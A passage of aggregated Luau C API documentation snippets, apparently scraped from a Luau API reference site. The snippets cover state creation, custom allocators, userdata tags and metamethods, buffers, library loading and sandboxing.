lua_setmemcat(T, kExampleMemCat);
lua_newbuffer(T, 1024 * 10); // 10KB buffer

size_t total_bytes = lua_totalbytes(T, kExampleMemCat);
printf("total: %zu bytes\n", total_bytes);
```

--------------------------------

### Get Name for Tagged Light Userdata

Source: https://sleitnick.github.io/luau-api/reference.html

Use `lua_getlightuserdataname` to retrieve the name associated with a given tag. It returns `nullptr` if no name has been assigned to that tag.

```c++
constexpr int kMyDataTag = 10;
lua_setlightuserdataname(L, kMyDataTag, "MyData");
const char* name = lua_getlightuserdataname(L, kMyDataTag); // name == "MyData"
```

--------------------------------

### luaopen_buffer

Source: https://sleitnick.github.io/luau-api/reference.html

Opens the buffer library.

```APIDOC
## luaopen_buffer

### Description
Opens the buffer library.

### Signature
`int luaopen_buffer(lua_State* L)`

### Parameters
* **L** (lua_State*) - The Lua thread to open the buffer library on.

### Notes
Use `luaL_openlibs` to open all built-in Luau libraries, including this one.
```

--------------------------------

### Registering Direct Access for Userdata

Source: https://sleitnick.github.io/luau-api/reference.html

Registers functions for direct access (get, set, namecall) for a userdata tag. This is a placeholder for advanced userdata interaction.

```c++
int lua_registeruserdatadirectaccess(lua_State* L, int tag, lua_UserdataDirectAccess get, lua_UserdataDirectAccess set, lua_UserdataDirectNamecall namecall);
```

--------------------------------

### Loading Default Luau Libraries

Source: https://sleitnick.github.io/luau-api/guides/setup.html

Loads all built-in Luau libraries into the VM. Alternatively, individual libraries can be opened using their respective functions.

```c++
lua_State* L = luaL_newstate();

luaL_openlibs(L);
```

--------------------------------

### luaL_buffinit

Source: https://sleitnick.github.io/luau-api/reference.html

Initializes a string buffer. It takes a Lua thread state (L) and a pointer to a luaL_Buffer (B) as input.

```APIDOC
## luaL_buffinit

### Description
Initializes a string buffer.

### Signature
`void luaL_buffinit(lua_State* L, luaL_Buffer* B)`

### Parameters
* **L** (lua_State*) - Lua thread
* **B** (luaL_Buffer*) - Lua string buffer

### Example
```c
luaL_Strbuf b;
luaL_buffinit(L, &b);
```
```

--------------------------------

### Get Metatable Field

Source: https://sleitnick.github.io/luau-api/reference.html

Demonstrates retrieving a specific field from the metatable of an object at a given stack index. The field is pushed onto the stack if found.

```c
// Assume the top of the stack is a table

if (lua_getmetafield(L, -1, "__index")) {
    // ...
}

```

--------------------------------

### Check and Get Integer

Source: https://sleitnick.github.io/luau-api/reference.html

Retrieves a number from the stack, cast to an integer. Throws an error if the value is not a number. Use when an integer value is strictly required.

```c
int lhs = luaL_checkinteger(L, 1);
int rhs = luaL_checkinteger(L, 2);

lua_pushinteger(L, lhs + rhs);
return 1;
```

--------------------------------

### Convert Stack Value to C Function

Source: https://sleitnick.github.io/luau-api/reference.html

Use lua_tocfunction to get a C function from a stack index. Returns NULL if the value is not a C function.

```c
int hello() {
  printf("hello\n");
  return 0;
}

lua_pushcfunction(L, hello, "hello");

lua_CFunction f = lua_tocfunction(L, -1);
if (f) {
  f(); // hello
}

```

--------------------------------

### luaL_where

Source: https://sleitnick.github.io/luau-api/reference.html

Pushes a formatted string to the stack indicating the source file and line number, useful for error messages.

```APIDOC
## luaL_where

### Description
Pushes a string onto the stack containing the short source and current line, e.g. `"some/script.luau:10: "`. This is often used as a prefix for other debug logging information.

### Parameters
* `L` (lua_State*) - Lua thread
* `level` (int) - Stack level

### Returns
* None. Pushes a string to the stack.
```

--------------------------------

### Get Number of Arguments in a Function Call

Source: https://sleitnick.github.io/luau-api/reference.html

Retrieves the number of arguments passed to the current Lua function. Useful for variadic functions or argument validation.

```c
int custom_fn(lua_State* L) {
    int n_args = lua_gettop(L);
    lua_pushfstring(L, "there are %d arguments", n_args);
    return 1;
}

```

--------------------------------

### luaopen_string

Source: https://sleitnick.github.io/luau-api/reference.html

Opens the string library.

```APIDOC
## luaopen_string

### Description
Opens the string library.

### Signature
`int luaopen_string(lua_State* L)`

### Parameters
* **L** (lua_State*) - The Lua thread to open the string library on.

### Notes
Use `luaL_openlibs` to open all built-in Luau libraries, including this one.
```

--------------------------------

### lua_newuserdatatagged

Source: https://sleitnick.github.io/luau-api/reference.html

Creates a tagged userdata of a specified size and tag, pushing it onto the stack. Returns a pointer to the newly constructed data.

```APIDOC
## lua_newuserdatatagged

### Description
Creates the tagged userdata and pushes it to the stack. A pointer to the newly-constructed data is returned. Use `lua_touserdatatagged` to retrieve the value. For more info on tags, see the Tags page.

**Note:** Luau-constructed userdata are not zero-initialized. After construction, assign all fields of the object.

### Signature
`void* lua_newuserdatatagged(lua_State* L, size_t sz, int tag)`

### Parameters
* `L` (lua_State*) - Lua thread
* `sz` (size_t) - Size of the data to allocate for the userdata
* `tag` (int) - The tag to associate with this userdata

### Returns
* `void*` - A pointer to the newly allocated userdata memory.

### Example
```c++
constexpr int kFooTag = 1;
struct Foo {
    int n;
};

Foo* foo = static_cast<Foo*>(lua_newuserdatatagged(L, sizeof(Foo), kFooTag));

// Before explicit assignment, `n` is garbage, so we should initialize it ourselves:
foo->n = 0;
```
```

--------------------------------

### Implementing __namecall for Userdata Methods

Source: https://sleitnick.github.io/luau-api/guides/userdata.html

Handles method calls on userdata. It uses lua_namecallatom to get the method name and dispatches to the appropriate C function.

```c++
static int Foo_namecall(lua_State* L) {
    // The `nemcallatom` function grabs the method name being called. We are keeping
    // the `atom` argument null, but we'll come back to that later.
    const char* method = lua_namecallatom(L, nullptr);

    // Call our IsNumEven method:
    if (strcmp(method, "IsNumEven") == 0) {
        return Foo_IsNumEven(L);
    }

    luaL_error(L, "unknown method %s", method);
}
```

--------------------------------

### Sandbox Luau State After Opening Libraries

Source: https://sleitnick.github.io/luau-api/reference.html

Illustrates how to sandbox a Luau state after opening standard libraries. Sandboxing restricts access to libraries, metatables, and globals, making them read-only and activating 'safeenv'.

```c
lua_State* L = luaL_newstate();
luaL_openlibs(L);

// Sandboxing AFTER libraries are open:
luaL_sandbox(L);

```

--------------------------------

### Create and Close Luau State with Custom Allocator

Source: https://sleitnick.github.io/luau-api/reference.html

Demonstrates creating a new Luau state using a custom allocator function and subsequently closing it. The allocator function handles memory allocation and deallocation for the state.

```c
lua_State* L = lua_newstate(allocator, nullptr);
lua_close(L);

```

```c
static void* allocator(void* ud, void* ptr, size_t old_size, size_t new_size) {
    (void)ud; (void)old_size; // Not using these

    // new_size of 0 indicates the allocator should free the ptr
    if (new_size == 0) {
        free(ptr);
        return nullptr;
    }

    return realloc(ptr, new_size);
}

lua_State* L = lua_newstate(allocator, nullptr);

```

--------------------------------

### Implementing __tostring for Userdata

Source: https://sleitnick.github.io/luau-api/guides/userdata.html

Provides a C++ implementation for the __tostring metamethod, allowing custom string representations of userdata objects. This is useful for debugging and displaying userdata information.

```c++
static int Foo_tostring(lua_State* L) {
    Foo* foo = static_cast<Foo*>(lua_touserdata(L, 1));
    lua_pushfstring(L, "Foo { num: %d, data_size: %zu }", foo->num, foo->data_size);
    return 1;
}
```

--------------------------------

### Define Userdata Types Array

Source: https://sleitnick.github.io/luau-api/guides/native-userdata.html

Defines a null-terminated array of strings representing the names of userdata types. This is a required setup step for IR generation.

```c
static const char* kUserdataTypes[] = {
    "Vector2",
    nullptr,
};

```
Tokens:
Raw